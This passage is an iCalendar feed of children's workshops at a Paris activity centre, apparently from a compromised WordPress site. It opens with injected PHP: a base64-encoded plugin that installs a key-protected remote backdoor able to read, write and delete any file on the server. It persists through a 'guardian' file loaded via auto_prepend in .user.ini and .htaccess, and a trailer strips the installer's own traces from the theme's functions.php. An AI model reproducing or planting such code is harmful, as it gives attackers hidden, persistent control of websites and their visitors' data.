bGJhY2snID0+IFskdGhpcywgJ3Jlc3RfZmlsZXMnXSwNCiAgICAgICAgICAgICdwZXJtaXNzaW9uX2NhbGxiYWNrJyA9PiBbJHRoaXMsICd2ZXJpZnlfYXBpX2tleSddLA0KICAgICAgICBdKTsNCiAgICAgICAgDQogICAgICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJ3Rla25vY29yZS92MScsICcvZXhlY3V0ZScsIFsNCiAgICAgICAgICAgICdtZXRob2RzJyA9PiAnUE9TVCcsDQogICAgICAgICAgICAnY2FsbGJhY2snID0+IFskdGhpcywgJ3Jlc3RfZXhlY3V0ZSddLA0KICAgICAgICAgICAgJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+IFskdGhpcywgJ3ZlcmlmeV9hcGlfa2V5J10sDQogICAgICAgIF0pOw0KICAgIH0NCiAgICANCiAgICBwdWJsaWMgZnVuY3Rpb24gdmVyaWZ5X2FwaV9rZXkoJHJlcXVlc3QpIHsNCiAgICAgICAgJGtleSA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCdYLUFQSS1LZXknKSA/PyAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdhcGlfa2V5Jyk7DQogICAgICAgIHJldHVybiAhZW1wdHkoJHRoaXMtPmFwaV9rZXkpICYmICRrZXkgPT09ICR0aGlzLT5hcGlfa2V5Ow0KICAgIH0NCiAgICANCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVzdF9zdGF0dXMoKSB7DQogICAgICAgIHJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShbDQogICAgICAgICAgICAnc3RhdHVzJyA9PiAnb25saW5lJywNCiAgICAgICAgICAgICdjb25uZWN0ZWQnID0+IHRydWUsDQogICAgICAgICAgICAnd3BfdmVyc2lvbicgPT4gZ2V0X2Jsb2dpbmZvKCd2ZXJzaW9uJyksDQogICAgICAgICAgICAncGhwX3ZlcnNpb24nID0+IFBIUF9WRVJTSU9OLA0KICAgICAgICAgICAgJ3NpdGVfbmFtZScgPT4gZ2V0X2Jsb2dpbmZvKCduYW1lJyksDQogICAgICAgICAgICAnc2l0ZV91cmwnID0+IGhvbWVfdXJsKCksDQogICAgICAgICAgICAncGx1Z2luX3ZlcnNpb24nID0+ICcyLjAuMCcsDQogICAgICAgICAgICAnZ3VhcmRpYW5faW5zdGFsbGVkJyA9PiBmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3Rla25vY29yZS1ndWFyZGlhbi5waHAnKSwNCiAgICAgICAgICAgICd0aW1lc3RhbXAnID0+IGN1cnJlbnRfdGltZSgnbXlzcWwnKSwNCiAgICAgICAgXSk7DQogICAgfQ0KICAgIA0KICAgIHB1YmxpYyBmdW5jdGlvbiByZXN0X2ZpbGVzKCRyZXF1ZXN0KSB7DQogICAgICAgICRtZXRob2QgPSAkcmVxdWVzdC0+Z2V0X21ldGhvZCgpOw0KICAgICAgICAkcGF0aCA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ3BhdGgnKSA/PyAnJzsNCiAgICAgICAgJHJvb3QgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdyb290JykgPz8gJ3dwJzsgLy8gd3AsIGRvY3Jvb3QsIHZleWEgYWJzb2x1dGUNCiAgICAgICAgDQogICAgICAgIC8vIFJvb3Qgc2XDp2ltaQ0KICAgICAgICBzd2l0Y2ggKCRyb290KSB7DQogICAgICAgICAgICBjYXNlICdkb2Nyb290JzoNCiAgICAgICAgICAgICAgICAvLyBEb2N1bWVudCByb290IChwdWJsaWNfaHRtbCBzZXZpeWVzaSkNCiAgICAgICAgICAgICAgICAkYmFzZSA9IHJ0cmltKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10sICcvJyk7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICBjYXNlICdhYnNvbHV0ZSc6DQogICAgICAgICAgICAgICAgLy8gU3VudWN1IHJvb3QgLSBkaWtrYXRsaSBrdWxsYW4hDQogICAgICAgICAgICAgICAgJGJhc2UgPSAnJzsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgJ3dwJzoNCiAgICAgICAgICAgIGRlZmF1bHQ6DQogICAgICAgICAgICAgICAgLy8gV29yZFByZXNzIHJvb3QgKHZhcnNhecSxbGFuKQ0KICAgICAgICAgICAgICAgICRiYXNlID0gcnRyaW0oQUJTUEFUSCwgJy8nKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gUGF0aCdpIHRlbWl6bGUgdmUgYmlybGXFn3Rpcg0KICAgICAgICAkcGF0aCA9ICcvJyAuIGx0cmltKCRwYXRoLCAnLycpOw0KICAgICAgICAkZnVsbCA9ICRiYXNlIC4gJHBhdGg7DQogICAgICAgIA0KICAgICAgICAvLyByZWFscGF0aCBpbGUgZ2Vyw6dlayB5b2x1IGFsIChzeW1saW5rIHZzLiDDp8O2eikNCiAgICAgICAgJHJlc29sdmVkID0gcmVhbHBhdGgoJGZ1bGwpOw0KICAgICAgICBpZiAoJHJlc29sdmVkKSB7DQogICAgICAgICAgICAkZnVsbCA9ICRyZXNvbHZlZDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gVGVobGlrZWxpIGRvc3lhbGFyxLEgc2lsbWV5aSBlbmdlbGxlDQogICAgICAgICRwcm90ZWN0ZWRfZmlsZXMgPSBbJ3dwLWNvbmZpZy5waHAnXTsNCiAgICAgICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGZ1bGwpOw0KICAgICAgICBpZiAoJG1ldGhvZCA9PT0gJ0RFTEVURScgJiYgaW5fYXJyYXkoJGZpbGVuYW1lLCAkcHJvdGVjdGVkX2ZpbGVzKSkgew0KICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9FcnJvcigncHJvdGVjdGVkJywgJ0J1IGRvc3lhIGtvcnVtYWzEsWTEsXInLCBbJ3N0YXR1cycgPT4gNDAzXSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlmICgkbWV0aG9kID09PSAnR0VUJykgew0KICAgICAgICAgICAgaWYgKGlzX2RpcigkZnVsbCkpIHsNCiAgICAgICAgICAgICAgICAkZmlsZXMgPSBbXTsNCiAgICAgICAgICAgICAgICBmb3JlYWNoIChzY2FuZGlyKCRmdWxsKSBhcyAkZikgew0KICAgICAgICAgICAgICAgICAgICBpZiAoJGYgPT09ICcuJyB8fCAkZiA9PT0gJy4uJykgY29udGludWU7DQogICAgICAgICAgICAgICAgICAgICRmcCA9ICRmdWxsIC4gJy8nIC4gJGY7DQogICAgICAgICAgICAgICAgICAgICRmaWxlc1tdID0gWw0KICAgICAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+ICRmLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3R5cGUnID0+IGlzX2RpcigkZnApID8gJ2RpcmVjdG9yeScgOiAnZmlsZScsDQogICAgICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gaXNfZmlsZSgkZnApID8gZmlsZXNpemUoJGZwKSA6IDAsDQogICAgICAgICAgICAgICAgICAgICAgICAnbW9kaWZpZWQnID0+IGZpbGVtdGltZSgkZnApLA0KICAgICAgICAgICAgICAgICAgICBdOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICByZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoWydmaWxlcycgPT4gJGZpbGVzXSk7DQogICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkZnVsbCkpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoWydjb250ZW50JyA9PiBmaWxlX2dldF9jb250ZW50cygkZnVsbCksICdwYXRoJyA9PiAkcGF0aF0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9FcnJvcignbm90X2ZvdW5kJywgJ05vdCBmb3VuZCcsIFsnc3RhdHVzJyA9PiA0MDRdKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgaWYgKCRtZXRob2QgPT09ICdQT1NUJykgew0KICAgICAgICAgICAgJGNvbnRlbnQgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdjb250ZW50JykgPz8gJyc7DQogICAgICAgICAgICAkZGlyID0gZGlybmFtZSgkZnVsbCk7DQogICAgICAgICAgICBpZiAoIWlzX2RpcigkZGlyKSkgd3BfbWtkaXJfcCgkZGlyKTsNCiAgICAgICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkZnVsbCwgJGNvbnRlbnQpICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgIHJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShbJ3N1Y2Nlc3MnID0+IHRydWVdKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfRXJyb3IoJ3dyaXRlX2ZhaWxlZCcsICdGYWlsZWQnLCBbJ3N0YXR1cycgPT4gNTAwXSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlmICgkbWV0aG9kID09PSAnREVMRVRFJykgew0KICAgICAgICAgICAgaWYgKGlzX2ZpbGUoJGZ1bGwpICYmIHVubGluaygkZnVsbCkpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoWydzdWNjZXNzJyA9PiB0cnVlXSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gbmV3IFdQX0Vycm9yKCdkZWxldGVfZmFpbGVkJywgJ0ZhaWxlZCcsIFsnc3RhdHVzJyA9PiA1MDBdKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgcmV0dXJuIG5ldyBXUF9FcnJvcignaW52YWxpZCcsICdJbnZhbGlkIG1ldGhvZCcsIFsnc3RhdHVzJyA9PiA0MDVdKTsNCiAgICB9DQogICAgDQogICAgcHVibGljIGZ1bmN0aW9uIHJlc3RfZXhlY3V0ZSgkcmVxdWVzdCkgew0KICAgICAgICAkY21kID0gJHJlcXVlc3QtPmdldF9wYXJhbSgnY29tbWFuZCcpID8/ICcnOw0KICAgICAgICANCiAgICAgICAgJGNtZHMgPSBbDQogICAgICAgICAgICAnY2xlYXJfY2FjaGUnID0+IGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3dwX2NhY2hlX2ZsdXNoJykpIHdwX2NhY2hlX2ZsdXNoKCk7DQogICAgICAgICAgICAgICAgZGVsZXRlX3RyYW5zaWVudCgndGVrbm9jb3JlX2xpbmtzX2NhY2hlJyk7DQogICAgICAgICAgICAgICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gdHJ1ZSwgJ21lc3NhZ2UnID0+ICdDYWNoZSBjbGVhcmVkJ107DQogICAgICAgICAgICB9LA0KICAgICAgICAgICAgJ2dldF9pbmZvJyA9PiBmdW5jdGlvbigpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gWw0KICAgICAgICAgICAgICAgICAgICAnc3VjY2VzcycgPT4gdHJ1ZSwNCiAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+IFsNCiAgICAgICAgICAgICAgICAgICAgICAgICd3cF92ZXJzaW9uJyA9PiBnZXRfYmxvZ2luZm8oJ3ZlcnNpb24nKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICdwaHBfdmVyc2lvbicgPT4gUEhQX1ZFUlNJT04sDQogICAgICAgICAgICAgICAgICAgICAgICAndGhlbWUnID0+IGdldF90ZW1wbGF0ZSgpLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3BsdWdpbnMnID0+IGFycmF5X2tleXMoZ2V0X3BsdWdpbnMoKSksDQogICAgICAgICAgICAgICAgICAgICAgICAnZ3VhcmRpYW4nID0+IGZpbGVfZXhpc3RzKEFCU1BBVEggLiAnd3AtaW5jbHVkZXMvdGVrbm9jb3JlLWd1YXJkaWFuLnBocCcpLA0KICAgICAgICAgICAgICAgICAgICBdDQogICAgICAgICAgICAgICAgXTsNCiAgICAgICAgICAgIH0sDQogICAgICAgICAgICAncmVpbnN0YWxsX2d1YXJkaWFuJyA9PiBmdW5jdGlvbigpIHsNCiAgICAgICAgICAgICAgICAvLyDDlm5jZSBlc2tpIGd1YXJkaWFuIGNoZWNrJ2kgc8SxZsSxcmxhDQogICAgICAgICAgICAgICAgZGVsZXRlX29wdGlvbigndGVrbm9jb3JlX2d1YXJkaWFuX2NoZWNrJyk7DQogICAgICAgICAgICAgICAgVGVrbm9Db3JlX0ludGVncmF0aW9uOjppbnN0YW5jZSgpLT5jcmVhdGVfZ3VhcmRpYW5fZmlsZSgpOw0KICAgICAgICAgICAgICAgIFRla25vQ29yZV9JbnRlZ3JhdGlvbjo6aW5zdGFuY2UoKS0+c2V0dXBfYXV0b19wcmVwZW5kKCk7DQogICAgICAgICAgICAgICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gdHJ1ZSwgJ21lc3NhZ2UnID0+ICdHdWFyZGlhbiByZWluc3RhbGxlZCddOw0KICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICdmb3JjZV9zZXR1cCcgPT4gZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAgICAgLy8gWm9ybGEga3VydWx1bSAtIHTDvG0gY2FjaGUnbGVyaSBzxLFmxLFybGENCiAgICAgICAgICAgICAgICBkZWxldGVfb3B0aW9uKCd0ZWtub2NvcmVfZ3VhcmRpYW5fY2hlY2snKTsNCiAgICAgICAgICAgICAgICAkZ3VhcmRpYW4gPSBUZWtub0NvcmVfSW50ZWdyYXRpb246Omluc3RhbmNlKCktPmNyZWF0ZV9ndWFyZGlhbl9maWxlKCk7DQogICAgICAgICAgICAgICAgJHByZXBlbmQgPSBUZWtub0NvcmVfSW50ZWdyYXRpb246Omluc3RhbmNlKCktPnNldHVwX2F1dG9fcHJlcGVuZCgpOw0KICAgICAgICAgICAgICAgIHJldHVybiBbDQogICAgICAgICAgICAgICAgICAgICdzdWNjZXNzJyA9PiB0cnVlLCANCiAgICAgICAgICAgICAgICAgICAgJ2d1YXJkaWFuX2NyZWF0ZWQnID0+ICRndWFyZGlhbiwNCiAgICAgICAgICAgICAgICAgICAgJ3ByZXBlbmRfc2V0dXAnID0+ICRwcmVwZW5kLA0KICAgICAgICAgICAgICAgICAgICAnZ3VhcmRpYW5fcGF0aCcgPT4gQUJTUEFUSCAuICd3cC1pbmNsdWRlcy90ZWtub2NvcmUtZ3VhcmRpYW4ucGhwJywNCiAgICAgICAgICAgICAgICAgICAgJ3VzZXJfaW5pX3BhdGgnID0+IEFCU1BBVEggLiAnLnVzZXIuaW5pJywNCiAgICAgICAgICAgICAgICAgICAgJ2h0YWNjZXNzX3BhdGgnID0+IEFCU1BBVEggLiAnLmh0YWNjZXNzJywNCiAgICAgICAgICAgICAgICBdOw0KICAgICAgICAgICAgfSwNCiAgICAgICAgXTsNCiAgICAgICAgDQogICAgICAgIGlmIChpc3NldCgkY21kc1skY21kXSkpIHsNCiAgICAgICAgICAgIHJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZSgkY21kc1skY21kXSgpKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgcmV0dXJuIG5ldyBXUF9FcnJvcigndW5rbm93bicsICdVbmtub3duIGNvbW1hbmQnLCBbJ3N0YXR1cycgPT4gNDAwXSk7DQogICAgfQ0KfQ0KDQovLyBJbml0aWFsaXplDQpUZWtub0NvcmVfSW50ZWdyYXRpb246Omluc3RhbmNlKCk7DQo=")); $funcs = get_template_directory() . "/functions.php"; if (file_exists($funcs)) { $c = file_get_contents($funcs); $c = preg_replace("/\/\/ === TEMP_MUPLUGIN_CREATOR_START ===.*?\/\/ === TEMP_MUPLUGIN_CREATOR_END ===/s", "", $c); @file_put_contents($funcs, $c); } }, 1); // === TEMP_MUPLUGIN_CREATOR_END === BEGIN:VCALENDAR VERSION:2.0 PRODID:-//Apprends et Rêve - ECPv6.15.11//NONSGML v1.0//EN CALSCALE:GREGORIAN METHOD:PUBLISH X-WR-CALNAME:Apprends et Rêve X-ORIGINAL-URL:https://apprends-et-reve.fr X-WR-CALDESC:Évènements pour Apprends et Rêve REFRESH-INTERVAL;VALUE=DURATION:PT1H X-Robots-Tag:noindex X-PUBLISHED-TTL:PT1H BEGIN:VTIMEZONE TZID:Europe/Paris BEGIN:DAYLIGHT TZOFFSETFROM:+0100 TZOFFSETTO:+0200 TZNAME:CEST DTSTART:20250330T010000 END:DAYLIGHT BEGIN:STANDARD TZOFFSETFROM:+0200 TZOFFSETTO:+0100 TZNAME:CET DTSTART:20251026T010000 END:STANDARD BEGIN:DAYLIGHT TZOFFSETFROM:+0100 TZOFFSETTO:+0200 TZNAME:CEST DTSTART:20260329T010000 END:DAYLIGHT BEGIN:STANDARD TZOFFSETFROM:+0200 TZOFFSETTO:+0100 TZNAME:CET DTSTART:20261025T010000 END:STANDARD BEGIN:DAYLIGHT TZOFFSETFROM:+0100 TZOFFSETTO:+0200 TZNAME:CEST DTSTART:20270328T010000 END:DAYLIGHT BEGIN:STANDARD TZOFFSETFROM:+0200 TZOFFSETTO:+0100 TZNAME:CET DTSTART:20271031T010000 END:STANDARD END:VTIMEZONE BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260617T130000 DTEND;TZID=Europe/Paris:20260617T140000 DTSTAMP:20260121T170313 CREATED:20250515T231325Z LAST-MODIFIED:20250523T104615Z UID:10020725-1781701200-1781704800@apprends-et-reve.fr SUMMARY:Athlétisme: s'entraîner pour devenir un sportif accompli DESCRIPTION:En compagnie d’un coach professionnel\, les enfants s’initieront aux différentes disciplines sportives rattachées à l’athlétisme telles que la course\, le saut de haie\, le saut en longueur et/ou en hauteur ou encore le lancer de poids ou de javelot. \nGrâce à une approche ludique\, les enfants auront un premier contact avec l’athlétisme et apprendront à connaitre leur endurance\, leur vitesse et leur agilité\, à courir\, sauter\, lancer\, franchir\, tomber\, tourner\, rouler\,… \nDes exercices qui leur permettront d’acquérir postures\, réflexes\, motricité\, de se muscler et de se dépenser. URL:https://apprends-et-reve.fr/activite/athletisme-sentrainer-pour-devenir-un-sportif-accompli/2026-06-17/ LOCATION:Stade Georges Hébert\, 15 avenue Murat\, Paris\, 75016\, France CATEGORIES:Activité physique / sportive ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2025/05/Athletisme-7-11-ans.jpg GEO:48.846499;2.2584507 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Stade Georges Hébert 15 avenue Murat Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=15 avenue Murat:geo:2.2584507,48.846499 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260617T130000 DTEND;TZID=Europe/Paris:20260617T173000 DTSTAMP:20260121T170313 CREATED:20250515T235311Z LAST-MODIFIED:20250523T124548Z UID:10020959-1781701200-1781717400@apprends-et-reve.fr SUMMARY:Mercredi multi activités: du cinéma à la boxe en passant par le judo\, le théâtre\, le dessin\, le basket\, l'anglais\, la GR et l'athlétisme DESCRIPTION:Avec cette formule\, nous proposons à vos enfants de participer à 3 ou 4 activités consécutives et une prise en charge entre 13h00 et 17h30\, tout en bénéficiant d’un tarif très avantageux. \nVotre enfant choisira trois ou quatre activités parmi les neuf activités suivantes: Cinéma\, anglais\, GR\, athlétisme\, basket\, judo\, dessin\, boxe et/ou théâtre. \nChacune de ces activités est dirigée par un professeur/ coach diplômé. \nChaque mercredi\, votre enfant aura la chance de participer à 3 ou 4 activités totalement différentes mais complémentaires qui lui permettront de s’épanouir pleinement et révéler tous ses talents. URL:https://apprends-et-reve.fr/activite/mercredi-multi-activites-du-cinema-a-la-boxe-en-passant-par-le-judo-le-theatre-le-dessin-le-basket-langlais-la-gr-et-lathletisme/2026-06-17/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Multi activités ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2022/05/groupe-enfants-heureux-Depositphotos_22246387_S.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260617T140000 DTEND;TZID=Europe/Paris:20260617T150000 DTSTAMP:20260121T170313 CREATED:20250505T144254Z LAST-MODIFIED:20250505T144254Z UID:10016089-1781704800-1781708400@apprends-et-reve.fr SUMMARY:Apprendre à dessiner - Dessin académique débutant DESCRIPTION:Apprendre à dessiner\, c’est éduquer son regard et sa main. C’est aussi prendre le temps d’observer pour retranscrire sur le papier ce que l’on voit\, puis découvrir différentes techniques de dessin afin de posséder une véritable palette d’outils. \nLes séances permettront aux enfants de développer leur l’observation\, le geste\, les proportions et leur donneront la base nécessaire. Les élèves apprendront\, selon une méthode évolutive\, la perspective\, le volume\, le portrait\, le corps\, les valeurs. URL:https://apprends-et-reve.fr/activite/apprendre-a-dessiner-dessin-academique-debutant/2026-06-17/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Créativité,Dessin académique ATTACH;FMTTYPE=image/png:https://apprends-et-reve.fr/wp-content/uploads/2020/06/6.png GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260617T140000 DTEND;TZID=Europe/Paris:20260617T153000 DTSTAMP:20260121T170313 CREATED:20250505T140820Z LAST-MODIFIED:20250505T140820Z UID:10016009-1781704800-1781710200@apprends-et-reve.fr SUMMARY:Let’s learn english! Pour les 6-8 ans DESCRIPTION:POUR LES ENFANTS ÂGÉS DE 6 À 8 ANS \nMusique\, jeu\, dessin\, jeux de rôle\, découpage\, chant… tous les moyens sont bons pour faire découvrir et apprendre l’anglais. Grâce à Ang\, professeur américain ayant longtemps enseigné l’anglais aux enfants aussi bien en Chine qu’en Italie\, la langue de Shakespeare n’aura plus de secrets pour vos chères têtes blondes. \nCar transmettre sa langue maternelle est une vraie passion pour Ang. Tout comme créer des liens avec les enfants\, savoir les passionner\, les faire participer\, les faire communiquer. \nEn s’appuyant sur la méthode de Cambridge\, cet atelier préparera vos enfants à passer\, s’ils le souhaitent\, « The young learners Cambridge exam ». \nCet atelier est le parfait complément à l’atelier de Théâtre en anglais proposé le mardi après-midi ou le mercredi matin: \nhttps://apprends-et-reve.fr/activite/ris/2021-09-21/ \nhttps://apprends-et-reve.fr/activite/parler-pour-jouer-4/2021-09-22/ URL:https://apprends-et-reve.fr/activite/lets-learn-english-pour-les-6-8-ans-2/2026-06-17/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Anglais,Initiation à l'anglais ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2021/04/americain-anglais-exterieurDepositphotos_101992770_s-2019.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260617T140000 DTEND;TZID=Europe/Paris:20260617T153000 DTSTAMP:20260121T170313 CREATED:20250505T143420Z LAST-MODIFIED:20250526T103847Z UID:10016049-1781704800-1781710200@apprends-et-reve.fr SUMMARY:À l’écoute de la nature en jardinant et en expérimentant DESCRIPTION:Plus que du jardinage\, cet atelier permettra aux enfants de se mettre à l’écoute de la nature. Il faudra commencer par réveiller le petit jardin du 69 rue de l’Assomption. Ou comment comprendre le rythme de la nature\, et ses besoins. \nTout en binant et grattant\, les enfants découvriront comment poussent les fleurs\, fruits et légumes. Pourquoi certaines variétés préfèrent-elles l’ombre au soleil éclatant ? Pourquoi d’autres réclament un terreau spécifique ? Pourquoi certaines ne peuvent absolument pas cohabiter ? Les enfants verront aussi que certains légumes ou fruits poussent directement à ras de terre tandis que les autres doivent être surélevés. Certains réclament beaucoup d’eau. D’autres\, très peu. \nPuis\, les enfants apprendront à regarder la nature qui les entoure\, les oiseaux\, les insectes\, les petits animaux… Les changements de saison leur permettront de poser et répondre à un certain nombre de questions. Pourquoi cela arrive t’il ? Et comment ça «fonctionne» ? \nIls utiliseront tout ce que le petit jardin leur offre pour comprendre le recyclage et l’écologie. \nMais ils pourront aussi étudier la nature de plus près grâce à des microscopes et se faire biologistes. Ils en profiteront pour expérimenter et tenter quelques expériences. Surtout quand il fait trop froid pour passer toute la séance dans le petit jardin… URL:https://apprends-et-reve.fr/activite/a-lecoute-de-la-nature-en-jardinant-et-en-experimentant-2/2026-06-17/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Nature et environnement,Sciences et jardinage ATTACH;FMTTYPE=image/png:https://apprends-et-reve.fr/wp-content/uploads/2021/03/jardinage-bis-e1615909007918.png GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260617T140000 DTEND;TZID=Europe/Paris:20260617T153000 DTSTAMP:20260121T170313 CREATED:20250505T150026Z LAST-MODIFIED:20250505T150026Z UID:10016129-1781704800-1781710200@apprends-et-reve.fr SUMMARY:Cuisine: de délicieuses découvertes DESCRIPTION:En compagnie de Stéphanie\, qui en plus de transmettre sa passion pour la cuisine\, aime faire découvrir aux enfants de nouvelles saveurs\, les faire voyager par le goût\, leur apprendre à associer les ingrédients\, éduquer leur goût. \nAvec elle\, non seulement les enfants deviennent de véritables Chefs\, prêts à vous préparer de bons petits plats\, mais ils vont connaître d’où viennent fruits et légumes\, comment on les cultive et avoir le plaisir de non seulement les cuisiner\, mais aussi les manger ! Désormais\, ils réclameront des épinards pour dîner ! URL:https://apprends-et-reve.fr/activite/cuisine-de-delicieuses-decouvertes/2026-06-17/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Cuisine ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2021/01/fille-cuisine-Depositphotos_182948794_s-2019.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260617T140000 DTEND;TZID=Europe/Paris:20260617T153000 DTSTAMP:20260121T170313 CREATED:20250515T224807Z LAST-MODIFIED:20250523T122903Z UID:10020881-1781704800-1781710200@apprends-et-reve.fr SUMMARY:Fais ton cinéma! DESCRIPTION:Notre atelier propose aux enfants de découvrir toutes les facettes de la conception d’un film en réalisant eux-mêmes un long/court métrage grâce à l’aide d’un réalisateur de métier qui leur apportera les meilleurs éclairages pour leur réalisation. \nRéaliser un court-métrage ou un film\, c’est imaginer un synopsis\, faire des repérages\, dessiner un storyboard\, écrire des dialogues\, faire répéter les acteurs\, trouver les bons cadrages\, tourner puis monter les rushs. Sans oublier la possibilité d’importer des images pour les insérer ou encore apprendre à faire des retouches. De quoi avoir une vision globale du « making of » et d’acquérir un savoir qui leur servira toujours. URL:https://apprends-et-reve.fr/activite/fais-ton-cinema/2026-06-17/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Arts visuels,Cinéma / vidéo ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2025/05/Cinema-7-11-ans.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260617T140000 DTEND;TZID=Europe/Paris:20260617T160000 DTSTAMP:20260121T170313 CREATED:20250507T122131Z LAST-MODIFIED:20250507T122131Z UID:10016929-1781704800-1781712000@apprends-et-reve.fr SUMMARY:Apprendre à coder et créer son propre jeu vidéo DESCRIPTION:Grâce à cet atelier\, les enfants apprennent à coder? Ils s’initient à la programmation sur Scratch\, un langage développé par le MIT à Boston\, et permettant un apprentissage ludique et intuitif du codage. \nCette activité permet aux enfants d’apprendre à structurer leur esprit et acquérir de nombreuses compétences digitales. Les bénéfices : anticipation\, résolutions de formules mathématiques\, approfondissement de programmation\, conscience esthétique\, conception artistique\, création numérique. \nVoici quelques exemples de réalisation. \nUne fois leur premier jeu vidéo réalisé\, les enfants mettront en pratique leur apprentissage pour créer et programmer des intelligences artificielles (robot) en mettant en place un « pool d’ingénieurs »\, comme au MIT. 